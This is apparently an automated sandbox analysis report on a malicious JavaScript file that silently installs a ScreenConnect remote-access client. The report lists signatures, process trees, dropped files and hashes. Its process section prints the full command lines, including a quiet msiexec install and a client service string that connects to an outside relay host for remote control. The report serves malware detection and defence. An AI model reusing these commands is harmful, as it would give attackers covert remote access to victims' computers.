Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/08/2026, 18:06

General

  • Target
    Doc-8a794eb2a996.js
  • Size 2.4MB
  • Sample260828-wp49vs1wft
  • SHA256 71adf4a50f580416dc69ab4e3cc5a7ff2debe385f92287e5aff19775367c06a2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 21 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Doc-8a794eb2a996.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\NewUp.ClientSetup.msi" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4700
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0269675457F5440F9D8A0AF08D79346A
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI392C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240663000 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:936
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DEC0E9FCE9CB469FE3C5D8D92384A5ED E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1160
  • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=55b90f34-8630-4d74-ac73-d90fbb5e1c97&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4Qm%2bJTtb1UObhg2VTi1LC7b4xXxhkqKL7S%2fN6I%2bD2%2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgX%2bj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahq%2bcPR8t%2bTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6%2feRtguRPckaLSzk4RQjfvGUN997l%2ffF4Et2e4ygBJhyEZPO&t=&c=NewBoy&c=NewBoy&c=&c=&c=&c=&c=&c="
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3912
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "b05f860f-c66a-4da4-a01d-45a52c38983e" "User"
      2⤵
      • Executes dropped EXE
      PID:4460
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "a1c2a5d6-8a83-4068-b906-5178fdf28f28" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3252

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5836dd.rbs

        • Path C:\Config.Msi\e5836dd.rbs
        • Size 212KB
        • SHA256 25e9c1826f330b010a37c029146cc810e232e5f463f40e8ed5ad6ad70318bbb5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.en-US.resources
        • Size 308B
        • SHA256 25816b0a68a814e47d7463a2c9ea06d08f115d0e4c92bad8e2f3457d280348e6
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.resources
        • Size 241B
        • SHA256 b222ffd3bb91120201046546dd5fde1565c4e5cc6b47060419e1778e833fd4db
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.en-US.resources
        • Size 33KB
        • SHA256 3d42f719c28b1c3eebd99bc17ba7793330ce0099fc0dbfef985ecd523cddae70
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.resources
        • Size 2KB
        • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Client.dll
        • Size 146KB
        • SHA256 49e4ee62deec4d4aee96a4ba44d05d9bf2d0a9933160620f6d24e54e309bfb60
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.dll
        • Size 30KB
        • SHA256 7cf638cc92d30d774a0d059b9524d2c62b66ff44c567945cab68888392ab3964
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
        • Size 88KB
        • SHA256 259dd88263bacfaa4c98686a1bb5ac1581d87f6788f23d145086e369126a34b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 567685ab504a98ce5079890fc850d4032ef0cbd5a53226fbdaa2bc77eda7f73a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        • Size 534KB
        • SHA256 f65a0d67c2398cd51c8d4cd4b95be81db4efe69ba9bda3d958e2b52becf216b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\app.config
        • Size 1KB
        • SHA256 a38ebc0343ad7eae9749feafe11b534e4beca81916646d9f3eda3f00e7bed751
        • MD5 SHA1 SHA512 TLSH

        NewUp.ClientSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\NewUp.ClientSetup.msi
        • Size 1.8MB
        • SHA256 073f0075283ddf39085fad8024dccaafa1c8c3b98f42c7cbbb0d2f02821e97c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI392C.tmp

        • Path C:\Windows\Installer\MSI392C.tmp
        • Size 336KB
        • SHA256 0026221a5cf41719e401da2657addbeb7190d98809ddbd09ea0dd063524597e7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI392C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI392C.tmp-\ScreenConnect.Core.dll
        • Size 378KB
        • SHA256 1b15d7c3465ca779ec46b83704412edabfa8d47f32fa545080d613d1f10040c4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI392C.tmp-\ScreenConnect.InstallerActions.dll
        • Size 17KB
        • SHA256 584ccce1c440c597712ef9bff7e22da4c4e169bebd5f2db4d3cca4eea3e74759
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI3C4B.tmp

        • Path C:\Windows\Installer\MSI3C4B.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/936-20-0x0000000004F30000-0x0000000004F5E000-memory.dmp

        memory/936-24-0x0000000004F70000-0x0000000004F7A000-memory.dmp

        memory/936-28-0x0000000005030000-0x0000000005094000-memory.dmp

        memory/3912-92-0x0000000004A60000-0x0000000004AB0000-memory.dmp

        memory/3912-86-0x00000000045B0000-0x0000000004736000-memory.dmp

        memory/3912-91-0x00000000047D0000-0x000000000485A000-memory.dmp

        memory/3912-72-0x00000000019B0000-0x00000000019BE000-memory.dmp

        memory/3912-78-0x0000000001B30000-0x0000000001B5A000-memory.dmp

        memory/3912-85-0x00000000043F0000-0x00000000045A8000-memory.dmp

        memory/4460-99-0x00000000000E0000-0x000000000016A000-memory.dmp

        memory/4460-100-0x00000000021E0000-0x000000000220A000-memory.dmp

        memory/4460-101-0x000000001B030000-0x000000001B094000-memory.dmp

        memory/4460-102-0x000000001B260000-0x000000001B418000-memory.dmp

        memory/4460-105-0x000000001C4D0000-0x000000001C656000-memory.dmp

        memory/4460-111-0x0000000000910000-0x000000000091E000-memory.dmp